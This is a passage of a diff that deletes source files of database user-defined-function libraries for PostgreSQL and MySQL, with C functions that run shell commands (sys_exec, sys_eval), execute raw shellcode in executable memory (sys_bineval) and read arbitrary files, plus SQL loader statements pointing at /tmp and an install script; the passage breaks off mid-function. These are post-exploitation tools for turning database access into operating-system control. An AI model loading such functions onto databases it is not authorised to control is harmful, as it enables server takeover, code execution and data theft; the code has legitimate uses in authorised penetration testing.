|
|
||||||
#include <fmgr.h>
|
|
||||||
#include <stdlib.h>
|
|
||||||
#include <string.h>
|
|
||||||
|
|
||||||
#include <ctype.h>
|
|
||||||
|
|
||||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
|
||||||
DWORD WINAPI exec_payload(LPVOID lpParameter);
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#ifdef PG_MODULE_MAGIC
|
|
||||||
PG_MODULE_MAGIC;
|
|
||||||
#endif
|
|
||||||
|
|
||||||
char *text_ptr_to_char_ptr(text *arg)
|
|
||||||
{
|
|
||||||
char *retVal;
|
|
||||||
int arg_size = VARSIZE(arg) - VARHDRSZ;
|
|
||||||
retVal = (char *)malloc(arg_size + 1);
|
|
||||||
|
|
||||||
memcpy(retVal, VARDATA(arg), arg_size);
|
|
||||||
retVal[arg_size] = '\0';
|
|
||||||
|
|
||||||
return retVal;
|
|
||||||
}
|
|
||||||
|
|
||||||
text *chr_ptr_to_text_ptr(char *arg)
|
|
||||||
{
|
|
||||||
text *retVal;
|
|
||||||
|
|
||||||
retVal = (text *)malloc(VARHDRSZ + strlen(arg));
|
|
||||||
#ifdef SET_VARSIZE
|
|
||||||
SET_VARSIZE(retVal, VARHDRSZ + strlen(arg));
|
|
||||||
#else
|
|
||||||
VARATT_SIZEP(retVal) = strlen(arg) + VARHDRSZ;
|
|
||||||
#endif
|
|
||||||
memcpy(VARDATA(retVal), arg, strlen(arg));
|
|
||||||
|
|
||||||
return retVal;
|
|
||||||
}
|
|
||||||
|
|
||||||
PG_FUNCTION_INFO_V1(sys_exec);
|
|
||||||
#ifdef PGDLLIMPORT
|
|
||||||
extern PGDLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) {
|
|
||||||
#else
|
|
||||||
extern DLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) {
|
|
||||||
#endif
|
|
||||||
text *argv0 = PG_GETARG_TEXT_P(0);
|
|
||||||
int32 result = 0;
|
|
||||||
char *command;
|
|
||||||
|
|
||||||
command = text_ptr_to_char_ptr(argv0);
|
|
||||||
|
|
||||||
/*
|
|
||||||
Only if you want to log
|
|
||||||
elog(NOTICE, "Command execution: %s", command);
|
|
||||||
*/
|
|
||||||
|
|
||||||
result = system(command);
|
|
||||||
free(command);
|
|
||||||
|
|
||||||
PG_FREE_IF_COPY(argv0, 0);
|
|
||||||
PG_RETURN_INT32(result);
|
|
||||||
}
|
|
||||||
|
|
||||||
PG_FUNCTION_INFO_V1(sys_eval);
|
|
||||||
#ifdef PGDLLIMPORT
|
|
||||||
extern PGDLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
|
|
||||||
#else
|
|
||||||
extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
|
|
||||||
#endif
|
|
||||||
text *argv0 = PG_GETARG_TEXT_P(0);
|
|
||||||
text *result_text;
|
|
||||||
char *command;
|
|
||||||
char *result;
|
|
||||||
FILE *pipe;
|
|
||||||
char *line;
|
|
||||||
int32 outlen, linelen;
|
|
||||||
|
|
||||||
command = text_ptr_to_char_ptr(argv0);
|
|
||||||
|
|
||||||
/*
|
|
||||||
Only if you want to log
|
|
||||||
elog(NOTICE, "Command evaluated: %s", command);
|
|
||||||
*/
|
|
||||||
|
|
||||||
line = (char *)malloc(1024);
|
|
||||||
result = (char *)malloc(1);
|
|
||||||
outlen = 0;
|
|
||||||
|
|
||||||
result[0] = (char)0;
|
|
||||||
|
|
||||||
pipe = popen(command, "r");
|
|
||||||
|
|
||||||
while (fgets(line, sizeof(line), pipe) != NULL) {
|
|
||||||
linelen = strlen(line);
|
|
||||||
result = (char *)realloc(result, outlen + linelen);
|
|
||||||
strncpy(result + outlen, line, linelen);
|
|
||||||
outlen = outlen + linelen;
|
|
||||||
}
|
|
||||||
|
|
||||||
pclose(pipe);
|
|
||||||
|
|
||||||
if (*result) {
|
|
||||||
result[outlen-1] = 0x00;
|
|
||||||
}
|
|
||||||
|
|
||||||
result_text = chr_ptr_to_text_ptr(result);
|
|
||||||
|
|
||||||
PG_RETURN_POINTER(result_text);
|
|
||||||
}
|
|
||||||
|
|
||||||
PG_FUNCTION_INFO_V1(sys_bineval);
|
|
||||||
#ifdef PGDLLIMPORT
|
|
||||||
extern PGDLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
|
|
||||||
#else
|
|
||||||
extern DLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
|
|
||||||
#endif
|
|
||||||
text *argv0 = PG_GETARG_TEXT_P(0);
|
|
||||||
int32 argv0_size;
|
|
||||||
size_t len;
|
|
||||||
|
|
||||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
|
||||||
int pID;
|
|
||||||
char *code;
|
|
||||||
#else
|
|
||||||
int *addr;
|
|
||||||
size_t page_size;
|
|
||||||
pid_t pID;
|
|
||||||
#endif
|
|
||||||
|
|
||||||
argv0_size = VARSIZE(argv0) - VARHDRSZ;
|
|
||||||
len = (size_t)argv0_size;
|
|
||||||
|
|
||||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
|
||||||
// allocate a +rwx memory page
|
|
||||||
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
|
||||||
strncpy(code, VARDATA(argv0), len);
|
|
||||||
|
|
||||||
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
|
|
||||||
#else
|
|
||||||
pID = fork();
|
|
||||||
if(pID<0)
|
|
||||||
PG_RETURN_INT32(1);
|
|
||||||
|
|
||||||
if(pID==0)
|
|
||||||
{
|
|
||||||
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
|
|
||||||
page_size = (len+page_size) & ~(page_size); // align to page boundary
|
|
||||||
|
|
||||||
// mmap an rwx memory page
|
|
||||||
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
|
|
||||||
|
|
||||||
if (addr == MAP_FAILED)
|
|
||||||
PG_RETURN_INT32(1);
|
|
||||||
|
|
||||||
strncpy((char *)addr, VARDATA(argv0), len);
|
|
||||||
|
|
||||||
((void (*)(void))addr)();
|
|
||||||
}
|
|
||||||
|
|
||||||
if(pID>0)
|
|
||||||
waitpid(pID, 0, WNOHANG);
|
|
||||||
#endif
|
|
||||||
|
|
||||||
PG_RETURN_INT32(0);
|
|
||||||
}
|
|
||||||
|
|
||||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
|
||||||
DWORD WINAPI exec_payload(LPVOID lpParameter)
|
|
||||||
{
|
|
||||||
__try
|
|
||||||
{
|
|
||||||
__asm
|
|
||||||
{
|
|
||||||
mov eax, [lpParameter]
|
|
||||||
call eax
|
|
||||||
}
|
|
||||||
}
|
|
||||||
__except(EXCEPTION_EXECUTE_HANDLER)
|
|
||||||
{
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#undef fopen
|
|
||||||
|
|
||||||
PG_FUNCTION_INFO_V1(sys_fileread);
|
|
||||||
#ifdef PGDLLIMPORT
|
|
||||||
extern PGDLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) {
|
|
||||||
#else
|
|
||||||
extern DLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) {
|
|
||||||
#endif
|
|
||||||
text *argv0 = PG_GETARG_TEXT_P(0);
|
|
||||||
text *result_text;
|
|
||||||
int32 len;
|
|
||||||
int32 i, j;
|
|
||||||
char *filename;
|
|
||||||
char *result;
|
|
||||||
char *buffer;
|
|
||||||
char table[] = "0123456789ABCDEF";
|
|
||||||
FILE *file;
|
|
||||||
|
|
||||||
filename = text_ptr_to_char_ptr(argv0);
|
|
||||||
|
|
||||||
file = fopen(filename, "rb");
|
|
||||||
if (!file)
|
|
||||||
{
|
|
||||||
PG_RETURN_NULL();
|
|
||||||
}
|
|
||||||
fseek(file, 0, SEEK_END);
|
|
||||||
len = ftell(file);
|
|
||||||
fseek(file, 0, SEEK_SET);
|
|
||||||
|
|
||||||
buffer=(char *)malloc(len + 1);
|
|
||||||
if (!buffer)
|
|
||||||
{
|
|
||||||
fclose(file);
|
|
||||||
PG_RETURN_NULL();
|
|
||||||
}
|
|
||||||
|
|
||||||
fread(buffer, len, 1, file);
|
|
||||||
fclose(file);
|
|
||||||
|
|
||||||
result = (char *)malloc(2*len + 1);
|
|
||||||
for (i=0, j=0; i<len; i++)
|
|
||||||
{
|
|
||||||
result[j++] = table[(buffer[i] >> 4) & 0x0f];
|
|
||||||
result[j++] = table[ buffer[i] & 0x0f];
|
|
||||||
}
|
|
||||||
result[j] = '\0';
|
|
||||||
|
|
||||||
result_text = chr_ptr_to_text_ptr(result);
|
|
||||||
|
|
||||||
free(result);
|
|
||||||
free(buffer);
|
|
||||||
free(filename);
|
|
||||||
|
|
||||||
PG_RETURN_POINTER(result_text);
|
|
||||||
}
|
|
|
@ -1,25 +0,0 @@
|
||||||
/*
|
|
||||||
lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
|
|
||||||
Copyright (C) 2009-2010 Bernardo Damele A. G.
|
|
||||||
web: http://bernardodamele.blogspot.com/
|
|
||||||
email: bernardo.damele@gmail.com
|
|
||||||
|
|
||||||
This library is free software; you can redistribute it and/or
|
|
||||||
modify it under the terms of the GNU Lesser General Public
|
|
||||||
License as published by the Free Software Foundation; either
|
|
||||||
version 2.1 of the License, or (at your option) any later version.
|
|
||||||
|
|
||||||
This library is distributed in the hope that it will be useful,
|
|
||||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
||||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
|
||||||
Lesser General Public License for more details.
|
|
||||||
|
|
||||||
You should have received a copy of the GNU Lesser General Public
|
|
||||||
License along with this library; if not, write to the Free Software
|
|
||||||
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
|
||||||
*/
|
|
||||||
|
|
||||||
CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
|
||||||
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/lib_postgresqludf_sys.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
|
||||||
CREATE OR REPLACE FUNCTION sys_bineval(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_bineval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
|
||||||
CREATE OR REPLACE FUNCTION sys_fileread(text) RETURNS text AS '/tmp/lib_postgresqludf_sys.so', 'sys_fileread' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
|
|
@ -1,9 +0,0 @@
|
||||||
# For MySQL < 5.1
|
|
||||||
LIBDIR=/usr/lib
|
|
||||||
# For MySQL >= 5.1
|
|
||||||
#LIBDIR=/usr/lib/mysql/plugin
|
|
||||||
|
|
||||||
install:
|
|
||||||
gcc-4.3 -Wall -I/usr/include/mysql -Os -shared lib_mysqludf_sys.c -fPIC -o lib_mysqludf_sys.so
|
|
||||||
strip -sx lib_mysqludf_sys.so
|
|
||||||
cp -f lib_mysqludf_sys.so $(LIBDIR)/lib_mysqludf_sys.so
|
|
|
@ -1,47 +0,0 @@
|
||||||
#!/bin/bash
|
|
||||||
# lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
|
|
||||||
# Copyright (C) 2007 Roland Bouman
|
|
||||||
# Copyright (C) 2008-2010 Roland Bouman and Bernardo Damele A. G.
|
|
||||||
# web: http://www.mysqludf.org/
|
|
||||||
# email: mysqludfs@gmail.com, bernardo.damele@gmail.com
|
|
||||||
#
|
|
||||||
# This library is free software; you can redistribute it and/or
|
|
||||||
# modify it under the terms of the GNU Lesser General Public
|
|
||||||
# License as published by the Free Software Foundation; either
|
|
||||||
# version 2.1 of the License, or (at your option) any later version.
|
|
||||||
#
|
|
||||||
# This library is distributed in the hope that it will be useful,
|
|
||||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
||||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
|
||||||
# Lesser General Public License for more details.
|
|
||||||
#
|
|
||||||
# You should have received a copy of the GNU Lesser General Public
|
|
||||||
# License along with this library; if not, write to the Free Software
|
|
||||||
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
|
||||||
|
|
||||||
# Adapt the following settings to your environment
|
|
||||||
USER="root"
|
|
||||||
PORT="3306"
|
|
||||||
|
|
||||||
echo "Compiling the MySQL UDF"
|
|
||||||
make
|
|
||||||
|
|
||||||
if test $? -ne 0; then
|
|
||||||
echo "ERROR: You need libmysqlclient development software installed"
|
|
||||||
echo "to be able to compile this UDF, on Debian/Ubuntu just run:"
|
|
||||||
echo "apt-get install libmysqlclient-dev"
|
|
||||||
exit 1
|
|
||||||
else
|
|
||||||
echo "MySQL UDF compiled successfully"
|
|
||||||
fi
|
|
||||||
|
|
||||||
echo -e "\nPlease provide your MySQL root password"
|
|
||||||
|
|
||||||
mysql -h 127.0.0.1 -P ${PORT} -u ${USER} -p mysql < lib_mysqludf_sys.sql
|
|
||||||
|
|
||||||
if test $? -ne 0; then
|
|
||||||
echo "ERROR: unable to install the UDF"
|
|
||||||
exit 1
|
|
||||||
else
|
|
||||||
echo "MySQL UDF installed successfully"
|
|
||||||
fi
|
|
|
@ -1,567 +0,0 @@
|
||||||
/*
|
|
||||||
lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
|
|
||||||
Copyright (C) 2007 Roland Bouman
|
|
||||||
Copyright (C) 2008-2010 Roland Bouman and Bernardo Damele A. G.
|
|
||||||
web: http://www.mysqludf.org/
|
|
||||||
email: mysqludfs@gmail.com, bernardo.damele@gmail.com
|
|
||||||
|
|
||||||
This library is free software; you can redistribute it and/or
|
|
||||||
modify it under the terms of the GNU Lesser General Public
|
|
||||||
License as published by the Free Software Foundation; either
|
|
||||||
version 2.1 of the License, or (at your option) any later version.
|
|
||||||
|
|
||||||
This library is distributed in the hope that it will be useful,
|
|
||||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
||||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
|
||||||
Lesser General Public License for more details.
|
|
||||||
|
|
||||||
You should have received a copy of the GNU Lesser General Public
|
|
||||||
License along with this library; if not, write to the Free Software
|
|
||||||
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
|
||||||
*/
|
|
||||||
|
|
||||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
|
||||||
#define DLLEXP __declspec(dllexport)
|
|
||||||
#else
|
|
||||||
#define DLLEXP
|
|
||||||
#include <sys/types.h>
|
|
||||||
#include <sys/wait.h>
|
|
||||||
#include <unistd.h>
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#ifdef STANDARD
|
|
||||||
#include <string.h>
|
|
||||||
#include <stdlib.h>
|
|
||||||
#include <time.h>
|
|
||||||
#ifdef __WIN__
|
|
||||||
typedef unsigned __int64 ulonglong;
|
|
||||||
typedef __int64 longlong;
|
|
||||||
#else
|
|
||||||
typedef unsigned long long ulonglong;
|
|
||||||
typedef long long longlong;
|
|
||||||
#endif /*__WIN__*/
|
|
||||||
#else
|
|
||||||
#include <my_global.h>
|
|
||||||
#include <my_sys.h>
|
|
||||||
#endif
|
|
||||||
#include <mysql.h>
|
|
||||||
#include <m_ctype.h>
|
|
||||||
#include <m_string.h>
|
|
||||||
#include <stdlib.h>
|
|
||||||
|
|
||||||
#include <ctype.h>
|
|
||||||
|
|
||||||
#ifdef HAVE_DLOPEN
|
|
||||||
#ifdef __cplusplus
|
|
||||||
extern "C" {
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#define LIBVERSION "lib_mysqludf_sys version 0.0.4"
|
|
||||||
|
|
||||||
#ifdef __WIN__
|
|
||||||
#define SETENV(name,value) SetEnvironmentVariable(name,value);
|
|
||||||
#else
|
|
||||||
#define SETENV(name,value) setenv(name,value,1);
|
|
||||||
#endif
|
|
||||||
|
|
||||||
DLLEXP
|
|
||||||
my_bool lib_mysqludf_sys_info_init(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char *message
|
|
||||||
);
|
|
||||||
|
|
||||||
DLLEXP
|
|
||||||
void lib_mysqludf_sys_info_deinit(
|
|
||||||
UDF_INIT *initid
|
|
||||||
);
|
|
||||||
|
|
||||||
DLLEXP
|
|
||||||
char* lib_mysqludf_sys_info(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char* result
|
|
||||||
, unsigned long* length
|
|
||||||
, char *is_null
|
|
||||||
, char *error
|
|
||||||
);
|
|
||||||
|
|
||||||
/**
|
|
||||||
* sys_get
|
|
||||||
*
|
|
||||||
* Gets the value of the specified environment variable.
|
|
||||||
*/
|
|
||||||
DLLEXP
|
|
||||||
my_bool sys_get_init(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char *message
|
|
||||||
);
|
|
||||||
|
|
||||||
DLLEXP
|
|
||||||
void sys_get_deinit(
|
|
||||||
UDF_INIT *initid
|
|
||||||
);
|
|
||||||
|
|
||||||
DLLEXP
|
|
||||||
char* sys_get(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char* result
|
|
||||||
, unsigned long* length
|
|
||||||
, char *is_null
|
|
||||||
, char *error
|
|
||||||
);
|
|
||||||
|
|
||||||
/**
|
|
||||||
* sys_set
|
|
||||||
*
|
|
||||||
* Sets the value of the environment variables.
|
|
||||||
* This function accepts a set of name/value pairs
|
|
||||||
* which are then set as environment variables.
|
|
||||||
* Use sys_get to retrieve the value of such a variable
|
|
||||||
*/
|
|
||||||
DLLEXP
|
|
||||||
my_bool sys_set_init(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char *message
|
|
||||||
);
|
|
||||||
|
|
||||||
DLLEXP
|
|
||||||
void sys_set_deinit(
|
|
||||||
UDF_INIT *initid
|
|
||||||
);
|
|
||||||
|
|
||||||
DLLEXP
|
|
||||||
long long sys_set(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char *is_null
|
|
||||||
, char *error
|
|
||||||
);
|
|
||||||
|
|
||||||
/**
|
|
||||||
* sys_exec
|
|
||||||
*
|
|
||||||
* executes the argument commandstring and returns its exit status.
|
|
||||||
* Beware that this can be a security hazard.
|
|
||||||
*/
|
|
||||||
DLLEXP
|
|
||||||
my_bool sys_exec_init(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char *message
|
|
||||||
);
|
|
||||||
|
|
||||||
DLLEXP
|
|
||||||
void sys_exec_deinit(
|
|
||||||
UDF_INIT *initid
|
|
||||||
);
|
|
||||||
|
|
||||||
DLLEXP
|
|
||||||
my_ulonglong sys_exec(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char *is_null
|
|
||||||
, char *error
|
|
||||||
);
|
|
||||||
|
|
||||||
/**
|
|
||||||
* sys_eval
|
|
||||||
*
|
|
||||||
* executes the argument commandstring and returns its standard output.
|
|
||||||
* Beware that this can be a security hazard.
|
|
||||||
*/
|
|
||||||
DLLEXP
|
|
||||||
my_bool sys_eval_init(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char *message
|
|
||||||
);
|
|
||||||
|
|
||||||
DLLEXP
|
|
||||||
void sys_eval_deinit(
|
|
||||||
UDF_INIT *initid
|
|
||||||
);
|
|
||||||
|
|
||||||
DLLEXP
|
|
||||||
char* sys_eval(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char* result
|
|
||||||
, unsigned long* length
|
|
||||||
, char *is_null
|
|
||||||
, char *error
|
|
||||||
);
|
|
||||||
|
|
||||||
/**
|
|
||||||
* sys_bineval
|
|
||||||
*
|
|
||||||
* executes bynary opcodes.
|
|
||||||
* Beware that this can be a security hazard.
|
|
||||||
*/
|
|
||||||
DLLEXP
|
|
||||||
my_bool sys_bineval_init(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
);
|
|
||||||
|
|
||||||
DLLEXP
|
|
||||||
void sys_bineval_deinit(
|
|
||||||
UDF_INIT *initid
|
|
||||||
);
|
|
||||||
|
|
||||||
DLLEXP
|
|
||||||
int sys_bineval(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
);
|
|
||||||
|
|
||||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
|
||||||
DWORD WINAPI exec_payload(LPVOID lpParameter);
|
|
||||||
#endif
|
|
||||||
|
|
||||||
|
|
||||||
#ifdef __cplusplus
|
|
||||||
}
|
|
||||||
#endif
|
|
||||||
|
|
||||||
/**
|
|
||||||
* lib_mysqludf_sys_info
|
|
||||||
*/
|
|
||||||
my_bool lib_mysqludf_sys_info_init(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char *message
|
|
||||||
){
|
|
||||||
my_bool status;
|
|
||||||
if(args->arg_count!=0){
|
|
||||||
strcpy(
|
|
||||||
message
|
|
||||||
, "No arguments allowed (udf: lib_mysqludf_sys_info)"
|
|
||||||
);
|
|
||||||
status = 1;
|
|
||||||
} else {
|
|
||||||
status = 0;
|
|
||||||
}
|
|
||||||
return status;
|
|
||||||
}
|
|
||||||
|
|
||||||
void lib_mysqludf_sys_info_deinit(
|
|
||||||
UDF_INIT *initid
|
|
||||||
){
|
|
||||||
}
|
|
||||||
|
|
||||||
char* lib_mysqludf_sys_info(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char* result
|
|
||||||
, unsigned long* length
|
|
||||||
, char *is_null
|
|
||||||
, char *error
|
|
||||||
){
|
|
||||||
strcpy(result,LIBVERSION);
|
|
||||||
*length = strlen(LIBVERSION);
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
|
|
||||||
my_bool sys_get_init(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char *message
|
|
||||||
){
|
|
||||||
if(args->arg_count==1
|
|
||||||
&& args->arg_type[0]==STRING_RESULT){
|
|
||||||
initid->maybe_null = 1;
|
|
||||||
return 0;
|
|
||||||
} else {
|
|
||||||
strcpy(
|
|
||||||
message
|
|
||||||
, "Expected exactly one string type parameter"
|
|
||||||
);
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
void sys_get_deinit(
|
|
||||||
UDF_INIT *initid
|
|
||||||
){
|
|
||||||
}
|
|
||||||
|
|
||||||
char* sys_get(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char* result
|
|
||||||
, unsigned long* length
|
|
||||||
, char *is_null
|
|
||||||
, char *error
|
|
||||||
){
|
|
||||||
char* value = getenv(args->args[0]);
|
|
||||||
if(value == NULL){
|
|
||||||
*is_null = 1;
|
|
||||||
} else {
|
|
||||||
*length = strlen(value);
|
|
||||||
}
|
|
||||||
return value;
|
|
||||||
}
|
|
||||||
|
|
||||||
my_bool sys_set_init(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char *message
|
|
||||||
){
|
|
||||||
if(args->arg_count!=2){
|
|
||||||
strcpy(
|
|
||||||
message
|
|
||||||
, "Expected exactly two arguments"
|
|
||||||
);
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
if(args->arg_type[0]!=STRING_RESULT){
|
|
||||||
strcpy(
|
|
||||||
message
|
|
||||||
, "Expected string type for name parameter"
|
|
||||||
);
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
args->arg_type[1]=STRING_RESULT;
|
|
||||||
if((initid->ptr=malloc(
|
|
||||||
args->lengths[0]
|
|
||||||
+ 1
|
|
||||||
+ args->lengths[1]
|
|
||||||
+ 1
|
|
||||||
))==NULL){
|
|
||||||
strcpy(
|
|
||||||
message
|
|
||||||
, "Could not allocate memory"
|
|
||||||
);
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
void sys_set_deinit(
|
|
||||||
UDF_INIT *initid
|
|
||||||
){
|
|
||||||
if (initid->ptr!=NULL){
|
|
||||||
free(initid->ptr);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
long long sys_set(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char *is_null
|
|
||||||
, char *error
|
|
||||||
){
|
|
||||||
char *name = initid->ptr;
|
|
||||||
char *value = name + args->lengths[0] + 1;
|
|
||||||
memcpy(
|
|
||||||
name
|
|
||||||
, args->args[0]
|
|
||||||
, args->lengths[0]
|
|
||||||
);
|
|
||||||
*(name + args->lengths[0]) = '\0';
|
|
||||||
memcpy(
|
|
||||||
value
|
|
||||||
, args->args[1]
|
|
||||||
, args->lengths[1]
|
|
||||||
);
|
|
||||||
*(value + args->lengths[1]) = '\0';
|
|
||||||
return SETENV(name,value);
|
|
||||||
}
|
|
||||||
|
|
||||||
my_bool sys_exec_init(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char *message
|
|
||||||
){
|
|
||||||
unsigned int i=0;
|
|
||||||
if(args->arg_count == 1
|
|
||||||
&& args->arg_type[i]==STRING_RESULT){
|
|
||||||
return 0;
|
|
||||||
} else {
|
|
||||||
strcpy(
|
|
||||||
message
|
|
||||||
, "Expected exactly one string type parameter"
|
|
||||||
);
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
void sys_exec_deinit(
|
|
||||||
UDF_INIT *initid
|
|
||||||
){
|
|
||||||
}
|
|
||||||
|
|
||||||
my_ulonglong sys_exec(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char *is_null
|
|
||||||
, char *error
|
|
||||||
){
|
|
||||||
return system(args->args[0]);
|
|
||||||
}
|
|
||||||
|
|
||||||
my_bool sys_eval_init(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char *message
|
|
||||||
){
|
|
||||||
unsigned int i=0;
|
|
||||||
if(args->arg_count == 1
|
|
||||||
&& args->arg_type[i]==STRING_RESULT){
|
|
||||||
return 0;
|
|
||||||
} else {
|
|
||||||
strcpy(
|
|
||||||
message
|
|
||||||
, "Expected exactly one string type parameter"
|
|
||||||
);
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
void sys_eval_deinit(
|
|
||||||
UDF_INIT *initid
|
|
||||||
){
|
|
||||||
}
|
|
||||||
|
|
||||||
char* sys_eval(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
, char* result
|
|
||||||
, unsigned long* length
|
|
||||||
, char *is_null
|
|
||||||
, char *error
|
|
||||||
){
|
|
||||||
FILE *pipe;
|
|
||||||
char *line;
|
|
||||||
unsigned long outlen, linelen;
|
|
||||||
|
|
||||||
line = (char *)malloc(1024);
|
|
||||||
result = (char *)malloc(1);
|
|
||||||
outlen = 0;
|
|
||||||
|
|
||||||
result[0] = (char)0;
|
|
||||||
|
|
||||||
pipe = popen(args->args[0], "r");
|
|
||||||
|
|
||||||
while (fgets(line, sizeof(line), pipe) != NULL) {
|
|
||||||
linelen = strlen(line);
|
|
||||||
result = (char *)realloc(result, outlen + linelen);
|
|
||||||
strncpy(result + outlen, line, linelen);
|
|
||||||
outlen = outlen + linelen;
|
|
||||||
}
|
|
||||||
|
|
||||||
pclose(pipe);
|
|
||||||
|
|
||||||
if (!(*result) || result == NULL) {
|
|
||||||
*is_null = 1;
|
|
||||||
} else {
|
|
||||||
result[outlen-1] = 0x00;
|
|
||||||
*length = strlen(result);
|
|
||||||
}
|
|
||||||
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
|
|
||||||
my_bool sys_bineval_init(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
){
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
void sys_bineval_deinit(
|
|
||||||
UDF_INIT *initid
|
|
||||||
){
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
int sys_bineval(
|
|
||||||
UDF_INIT *initid
|
|
||||||
, UDF_ARGS *args
|
|
||||||
){
|
|
||||||
size_t len;
|
|
||||||
|
|
||||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
|
||||||
int pID;
|
|
||||||
char *code;
|
|
||||||
#else
|
|
||||||
int *addr;
|
|
||||||
size_t page_size;
|
|
||||||
pid_t pID;
|
|
||||||
#endif
|
|
||||||
|
|
||||||
len = (size_t)strlen(args->args[0]);
|
|
||||||
|
|
||||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
|
||||||
